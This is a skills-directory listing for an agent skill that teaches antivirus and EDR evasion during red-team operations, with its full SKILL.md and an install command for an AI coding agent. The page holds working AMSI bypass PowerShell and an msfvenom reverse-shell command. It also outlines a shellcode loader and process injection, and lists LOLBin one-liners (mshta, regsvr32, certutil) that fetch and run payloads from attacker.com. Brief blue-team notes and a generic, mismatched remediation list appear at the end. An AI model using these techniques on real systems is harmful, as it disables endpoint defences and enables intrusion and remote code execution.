Skip to content
Back to skills

Av Edr Evasion Techniques

ASecurity

Bypass antivirus and Endpoint Detection & Response solutions during red team operations using payload obfuscation, process injection, AMSI bypass, ETW patching, and custom loaders. Use this skill when AV/EDR is blocking your payloads, tooling, or post-exploitation activities. Covers shellcode encryption, syscall-based injection, unhooking techniques, and living-off-the-land approaches for opsec-safe red team operations.

  • 22 stars
  • 0 votes
  • 0 copies
  • 1 view
  • Added September 12, 2026
ai-agentsjavascriptpythongojavac#shellexpresstestinggitapi

Works with

  • api

Security analysis

A100/100

Pro scans all 3 files and shows the line behind each finding

Scanned September 12, 2026

npx -y skills add ShulkwiSEC/bb-huge --skill av-edr-evasion-techniques --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Av Edr Evasion Techniques?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Av Edr Evasion Techniques
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/shulkwisec-av-edr-evasion-techniques/badge)](https://www.skillsdirectory.com/skills/shulkwisec-av-edr-evasion-techniques)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: av-edr-evasion-techniques
description: >
  Bypass antivirus and Endpoint Detection & Response solutions during red team operations using
  payload obfuscation, process injection, AMSI bypass, ETW patching, and custom loaders. Use this
  skill when AV/EDR is blocking your payloads, tooling, or post-exploitation activities. Covers
  shellcode encryption, syscall-based injection, unhooking techniques, and living-off-the-land
  approaches for opsec-safe red team operations.
domain: cybersecurity
subdomain: red-teaming
category: Evasion
difficulty: expert
estimated_time: "4-8 hours"
mitre_attack:
  tactics: [TA0005]
  techniques: [T1027, T1562.001, T1055, T1218]
platforms: [windows]
tags: [av-evasion, edr-bypass, amsi-bypass, shellcode-obfuscation, process-injection, red-team, evasion, opsec]
tools: [scarecrow, nimcrypt2, donut, syscallwhispers, sharpblock]
version: "1.0"
author: CyberSkills-Elite
license: Apache-2.0
---

# AV/EDR Evasion Techniques

## When to Use
- When AV/EDR blocks your payloads during red team operations
- When you need to execute tools on endpoints with active security monitoring
- When testing an organization's endpoint detection capabilities
- When developing custom loaders for C2 implants

**⚠️ WARNING**: Only use on authorized engagements. EDR evasion without authorization is illegal.


## Prerequisites
- Active engagement with a defended target environment (EDR/AV present)
- Understanding of the target's security stack (Defender, CrowdStrike, Carbon Black, etc.)
- Payload development framework (msfvenom, Cobalt Strike, custom tooling)
- Test environment matching the target OS/EDR for pre-engagement validation

## Workflow

### Phase 1: Target EDR Identification

```powershell
# Identify installed security products
Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct | Select displayName
wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName

# Process-based detection
tasklist | findstr -i "MsMpEng CrowdStrike CSFalcon SentinelOne cylance cbdefense xagt"

# Modern EDR enumeration:
# CrowdStrike Falcon → CSFalconService, CSFalconContainer
# SentinelOne → SentinelAgent, SentinelStaticEngine
# Microsoft Defender for Endpoint → MsSense
# Carbon Black → CbDefense, RepMgr
# Cortex XDR → CryptSvc associated with Palo Alto
# Elastic EDR → elastic-agent, elastic-endpoint

# Check if Windows Defender is enabled
Get-MpComputerStatus | Select AntivirusEnabled, RealTimeProtectionEnabled
```

### Phase 2: AMSI Bypass (PowerShell Context)

```powershell
# AMSI (Antimalware Scan Interface) scans PowerShell, VBA, JScript, etc.

# Method 1: Memory patching (patch AmsiScanBuffer)
$a=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUtils')
$b=$a.GetField('am'+'siInitFailed','NonPublic,Static')
$b.SetValue($null,$true)

# Method 2: Context corruption
$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076)
[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiContext","NonPublic,Static").SetValue($null,[IntPtr]$mem)

# Method 3: String obfuscation of bypass
# Encode and decode at runtime to avoid static detection
$e = [System.Convert]::FromBase64String("BASE64_ENCODED_BYPASS")
$decoded = [System.Text.Encoding]::UTF8.GetString($e)
Invoke-Expression $decoded

# Method 4: Reflection-based (current at time of writing)
# These change frequently — always test before engagement

# Verify AMSI is bypassed:
# Try: Invoke-Mimikatz (should not trigger AMSI if bypassed)
```

### Phase 3: Shellcode Encryption & Custom Loaders

```csharp
// Concept: AES-encrypt shellcode, decrypt at runtime, inject into memory
// This avoids static pattern matching by AV

// Step 1: Generate raw shellcode from C2
// msfvenom -p windows/x64/meterpreter/reverse_https LHOST=IP LPORT=PORT -f raw > shell.bin
// Or export from Cobalt Strike as raw shellcode

// Step 2: Encrypt shellcode with AES-256
// python3 encrypt_shellcode.py shell.bin > encrypted.bin

// Step 3: Custom C# loader (conceptual structure):
// - Embed encrypted shellcode as resource
// - AES decrypt at runtime
// - Allocate executable memory (VirtualAlloc)
// - Copy decrypted shellcode to memory
// - Execute via CreateThread or callback

// Key evasion techniques in loader:
// - Sandbox detection (sleep, user interaction checks)
// - API call unhooking (direct syscalls)
// - Process injection instead of self-execution
// - Signed binary sideloading
```

### Phase 4: Process Injection Techniques

```
// Common injection methods (from stealthiest to noisiest):

// 1. Early Bird APC Injection (very stealthy)
//    Create suspended process → Queue APC → Resume
//    Executes before EDR hooks are set up

// 2. Module Stomping / DLL Hollowing
//    Load legitimate DLL → Overwrite .text section with shellcode
//    Appears as legitimate module in memory

// 3. Thread Hijacking
//    Suspend existing thread → Modify context → Resume
//    No new thread creation (avoids CreateRemoteThread detection)

// 4. Process Hollowing
//    Create suspended process → Unmap → Map shellcode → Resume
//    Classic but well-detected by modern EDR

// 5. DLL Injection (CreateRemoteThread)
//    Load malicious DLL into target process
//    Most detected, use only as last resort

// Choose injection target wisely:
// GOOD: svchost.exe, RuntimeBroker.exe, explorer.exe (blend in)
// BAD: notepad.exe making network connections (suspicious)
```

### Phase 5: ETW Patching (Disable Telemetry)

```powershell
# ETW (Event Tracing for Windows) feeds data to EDR
# Patching ETW stops telemetry at the source

# Concept: Patch EtwEventWrite in ntdll.dll to return immediately
# This prevents .NET CLR events, process creation events, etc.
# from being sent to EDR

# Note: Implementation details intentionally abbreviated
# Full implementation requires understanding of:
# - ntdll.dll memory layout
# - x64 function patching
# - Thread safety considerations

# Alternative: Use direct syscalls to avoid ntdll hooks entirely
# Tools: SyscallWhispers, HellsGate, Syswhispers2/3
```

### Phase 6: Living off the Land (LOLBins)

```powershell
# Execute payloads using legitimate Windows binaries
# These bypass application whitelisting and raise fewer alerts

# Execution:
# mshta — Execute HTA files
mshta http://attacker.com/payload.hta
mshta "javascript:a=GetObject('script:http://attacker.com/payload.sct')"

# rundll32 — Execute DLL functions
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";document.write();

# regsvr32 — Execute scriptlet files
regsvr32 /s /n /u /i:http://attacker.com/payload.sct scrobj.dll

# certutil — Download files
certutil -urlcache -split -f http://attacker.com/payload.exe C:\temp\payload.exe

# msbuild — Execute inline C# code from XML
msbuild.exe malicious.csproj

# installutil — Load .NET assembly
InstallUtil.exe /logfile= /LogToConsole=false /U malicious.dll

# Reference: https://lolbas-project.github.io/
```

## 🔵 Blue Team Detection
- **Behavioral detection**: Focus on behaviors (process injection, AMSI patching) not signatures
- **Memory scanning**: Scan process memory for known implant patterns
- **ETW monitoring**: Monitor for ETW patching attempts
- **AMSI logging**: Alert on AMSI bypass indicators
- **Syscall monitoring**: Detect direct syscalls bypassing ntdll hooks
- **LOLBin monitoring**: Alert on suspicious use of legitimate binaries

## Key Concepts
| Concept | Description |
|---------|-------------|
| AMSI | Windows' Antimalware Scan Interface for script-based attacks |
| ETW | Event Tracing for Windows — telemetry pipeline EDR relies on |
| Process injection | Executing code in another process's memory space |
| Syscalls | Calling kernel functions directly, bypassing user-mode hooks |
| LOLBins | Legitimate binaries abused for malicious purposes |
| Shellcode loader | Custom program that decrypts and executes shellcode in memory |
| Module stomping | Overwriting a legitimate DLL's code section with shellcode |

## Output Format
```
AV/EDR Evasion Assessment Report
==================================
Target EDR: CrowdStrike Falcon (v6.x)
Evasion Achieved: YES (full bypass)

Techniques Used:
1. AMSI patched successfully (PowerShell execution unblocked)
2. ETW patched (telemetry disabled)
3. Custom AES-encrypted shellcode loader → Beacon deployed
4. Process injection via Early Bird APC into svchost.exe
5. C2 communication via HTTPS mimicking Microsoft Teams traffic

Detection Gaps:
- No alert generated for AMSI bypass
- Process injection not detected (Early Bird technique)
- Custom loader passed static and behavioral analysis
- Network traffic blended with legitimate Teams traffic

Recommendations:
1. Enable kernel-level ETW protection
2. Implement AMSI provider hardening
3. Deploy memory scanning for known implant patterns
4. Monitor for suspicious parent-child process relationships
```

## 🛡️ Remediation & Mitigation Strategy
- **Input Validation:** Sanitize and strictly type-check all inputs.
- **Least Privilege:** Constrain component execution bounds.


## 📚 Shared Resources
> For cross-cutting methodology applicable to all vulnerability classes, see:
> - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patterns
> - [`_shared/references/elite-report-writing.md`](../_shared/references/elite-report-writing.md) — HackerOne-optimized report writing, CWE quick reference
> - [`_shared/references/real-world-bounties.md`](../_shared/references/real-world-bounties.md) — Verified disclosed bounties by vulnerability class

## References
- LOLBAS Project: [Living Off The Land Binaries](https://lolbas-project.github.io/)
- MITRE ATT&CK: [T1027 — Obfuscated Files](https://attack.mitre.org/techniques/T1027/)
- Elastic: [Evasion Techniques](https://elastic.github.io/security-research/)
- Red Team Notes: [AV Evasion](https://www.ired.team/offensive-security/code-injection-process-injection)

Files in this skill

  • SKILL.md9.8 KB
  • evals/evals.json536 B
  • scripts/process.py7.8 KB

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

Comments

Loading comments…